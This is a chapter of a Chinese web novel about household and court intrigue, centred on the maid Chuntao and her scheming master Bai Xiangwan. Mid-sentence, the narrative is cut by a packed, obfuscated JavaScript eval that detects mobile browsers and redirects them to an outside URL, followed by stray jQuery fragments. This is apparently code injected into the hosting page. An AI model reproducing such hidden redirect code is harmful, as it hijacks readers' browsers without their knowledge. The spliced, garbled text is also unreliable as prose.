59.财务风波3
作品:《碧桃花谢春意晚》 “人走茶凉不代表从前的关系就断了,卢老太爷吏部尚书的时候提拔了多少人,如今卢家大宅修葺完成,昔日的门面就又充起来了,亲朋故旧少不得往来恭贺,这一来二去的,关系不就又回来了吗。而且白家万一又有个什么好歹,卢家要救,也得走关系,这酒鼾宴饱之际,卢三老爷稍稍流露出那么点意思,那些在官场里混成了精的人自然望风而动。”
桃却是从话里听出来了一丝山雨欲来的感觉:“什么叫又有个好歹?白家要怎样了?不是说这次的事可以用钱摆平吗?”
“不用怕,白家的命数还没完呢。”白向晚起身,给自己和春桃水杯里添了茶,道,“周家不可能就这么收手,对白家的敲打不会停的,而且西北战事一定,周家正好可以腾出手来。最快年前,迟一点年后,大老爷的官位恐怕要不保了。”
毕竟再怎么整庄氏,庄氏一个女眷,最极限也就是被白家休弃,周家没道理光整庄氏,只要官位在,白家就倒不了,所以致命一击定然在大老爷的官位上。这次庄氏的事情能闹得那么大惊动了官府,肯定是周家的手笔,但周氏被毒死,庄氏必然不是主谋,周家这么做,无非是为了引蛇出洞,惊弓之鸟的白大老爷为保荣禄难保不会行差踏错,到时候收拾起来,甚至都不用脏了周家的手。
“那周家就不怕白家把当年的秘密抖出来,拉着周家一起死啊?”
“当年的事,非同小可,直接影响的就是圣人的地位。牺牲部分利益和满门抄斩,白家还是分得清的。而且越到这个时候,白家越会捂死这件事,因为周家也很清楚穷寇莫追的道理,不会将白家赶尽杀绝。白家有卢家兜底,还没到山穷水尽的时候,真要抖出来反而会让周家下死手。”
“那事儿,真这么严重啊。”春桃眼中的恐慌不似作假。
白向晚却并不打算与她再掰扯那件“大不韪”的事,而是接着道:“等卢家出手之后,周家自然会收手,周家和瞿家势同水火,又和荣保打的你来我往,实在无需再多一个敌手。”
“然后白家就彻底渡过这一劫了吗?”
白向晚品着杯子里的茶,点了点头。
暂时是的。
“所以,你明白了吗?”
春桃笑道:“明白了。”
白向晚这么大费唇舌和她分析时政,其实用意有二。
其一,告诉她白家倒不了,让她放心大胆的施展拳脚,其二,明确之后的运作方向——助大太太自救,推动卢白联姻,巩固自己的地位。
这其间有太多可运作的地方了!春桃简直斗志满满。
其实还有第三个用意。
白向晚满意的看了一眼外面的天色。
又和春桃单独呆了一个下午呢。
“你之前不是想学看账吗。”
他们交换了一个眼神,彼此都知道对方的意思。
“是啊。”春桃笑道。
“现在可以学了,我用陈家的旧账教你。”
“是,奴婢去拿蜡烛。”
“我帮你。”
.
书桌前,两个人有说有笑的整理着,为一会上课做准备。
突然,春桃笑意未停,淡淡的问了一句:“三爷,二太太死的事,您事前知道吗?”
既然他这么聪明,这么先知,考虑事情那么周全,那白家对二太太周氏的动作,定然也难逃他的眼睛,所以他是提前就知道白家要害二太太,所以放任不管,还是,二太太死的事,完全就是他为了后续的事推动的……
春桃也不知道自己是怎么了,其实话问出口的瞬间春桃就后悔了,不管她效忠的是个有头脑的好人,还是有头脑的坏人,这都与她毫无关系,可她就是想知道,人生中第一次,她没有按照“事不关己高高挂起”的信条去做,而是想知道确切的真相,想知道,白向晚好看的皮囊之下,到底是人是鬼。
这并不理智,她到底怎么了……
白向晚的笑意淡了下去,垂下了眼睫,渐渐变暗的天光中,浓密纤长的睫毛在脸上落下一道阴影:“我知道白家与李家曾有过约定,也知道白家被逼的狗急跳墙,必然有所动作,为了引周家打压白家,我曾试图引导二太太发现李氏的存在,推动她与二老爷和离,可还没来得及动作,李氏就自己找上了二太太,在我慌忙调整方案时,二太太就殁了。”
说罢,白向晚转过身,直直的看着春桃:“春桃,世间万事难裁剪,纵然我机关算尽,也是难求万全的。尤其是在后宅,我的控制力并不如你所想的那么强,所以我才会发掘你,将陈芜香的身契攥在手里,要你们的效忠,为的就是能在我顾及不到的地方伸出一只手去,让我安心的在外面去打拼,明白了吗?”
“奴婢失言。”
“无妨,你可以在我面前畅所欲言,只是春桃,我需要你知道,不论从前在你眼中我是什么形象,我需要你知道真正的我。我不是善人,相反的,我手上沾了不少人的血,有罪大恶极的,也有完全无辜的,或许从前没有,以后也一定会有,为了达成我的目的,我无所谓。我能成事,就是通过干涉别人的因果,这能救一部分人,但更有可能的是有人因此受害。春桃,你可以这样问我,但你也已经无路可退了,你是我手中的刀,只是现在还尚未开刃。因为某些原因,我会尽全力保证你的安全,但也止步于此了,我手上沾的血,你以后也会沾染,你已经在我的因果中,我不会——”
不知什么时候,白向晚已经抓住了春桃的双臂,他越说越快,似是被人紧逼着说出来一般,也顾不得什么该说什么不该说,越说越恨,越说越怕,直到春桃掷地有声的一声呼唤,才震得他如梦初醒。
“三爷!”春桃眨巴着眼睛,其间不无担心,时刻提醒着白向晚他的失态。
春桃斩钉截铁道:“我知道了。”
白向晚只是看着她,眼中秋水凝滞,分明说着你不该疑我,张口却只是一个“好”字,只瞧得春桃心碎了半边,后悔莫及。
夜里,春桃望着天边的皎皎长月,脑海里思绪翻涌,一遍遍回想着白向晚傍晚的模样,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035773|187624||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一种荒谬的可能在她心中落地生根,紧接着越想越确凿,直到最后,春桃一个鲤鱼打挺站在了床上,吓得一脊背冷汗。
没准儿绣桔说的是对的,没准儿……
第二日一大早,春桃吩咐庄头们暂时先按兵不动,先派了小石头回城去探听一下情况,得到的结果是,白家依旧处在被戒严的状态中,春桃只得让庄头们再做几日盘桓。
这几日里,春桃的确是日日去白向晚那里学习看账,白向晚也依旧教她,只是总有种奇怪的感觉横亘在两人中间,两个人但凡是有很长的一段时间不说话,那种诡异的感觉就愈演愈烈,到最后,春桃已经不敢去和白向晚对视,一旦发现白向晚盯着自己看,就疯狂喝水缓解尴尬。白向晚自然也感受到了春桃的刺挠,很礼貌的收回了自己的视线,只是教她学习看账,可春桃依旧感到不自在。
白府的警报解除之后,春桃向白向晚道了别,领着庄头们和乌泱泱的收成开进了上京城。
庄氏经此一役,精神头垮了不少天,躺在床上请医问药的,灵棋素织和崔奶奶又都在衙门里关押着,只得将清点年货的任务交给了春桃。春桃在庄氏榻前痛哭流涕,说决定努力研习看账,若是自己早先会看得懂账本,兴许就能在这次事件中不让太太受罪了,这番忠心耿耿的慷慨陈词,给庄氏也感动的一塌糊涂,当即说要让崔奶奶以后多指点指点春桃。
春桃领了命,先回后院去安顿,便见后院和五间上房都紧掩住门户,平日里人挤人的后院此刻落针可闻。正当春桃疑惑之际,二等丫鬟房“吱呀”一声,开了房门。
“春桃?是你回来了?”出来的是明儿和秋鸾,二人面上皆是神情惴惴,显然此次庄氏遭殃,奴才们也都受了不同程度的波及,整个宜兰院都被控制了起来,丫鬟们自然是不允许走动的,便将住处临时做了关押所。
“可吓毁了我了!”秋鸾心有余悸道,“一连五六天,房门也不让出,外头全是举着火把的官兵,提了人直接就在后院审,我几时见过这阵仗啊!”
被秋鸾的大嗓门儿一嚷嚷,粗使丫鬟房的奴婢们也都颤巍巍的出来见了天光。有几个胆子大的,摸索着到了春桃身边,问道:“春桃姐姐,到底出什么事了?我们什么都还不知道呢。”
此刻后院里面春桃最大,便让秋鸾将后院仆妇都召集起来,对众人安抚道:“事情都已经了结了,此事兹事体大,一时半刻也都说不清楚。你们都要时刻警醒着,别与别人论及此事,也别到处乱打听,中午放饭之后,都各自去干活吧,如今已经没事儿了。”
众人都领命散去,宜兰院底层的运行也总算是重新缓慢地开展起来了。
秋鸾来扯了扯春桃的衣角,道:“这几日,你不在,灵棋素织和崔奶奶都被带走了,翠陌在前面伺候太太起居,你们几个的屋子都空了。”
春桃也只得无奈道:“太太已经了结了这事儿,下午人就能接出来了,你选几个小丫鬟下午跟我去接人,我估摸着她们受了不少罪呢。”
秋鸾点了点头。

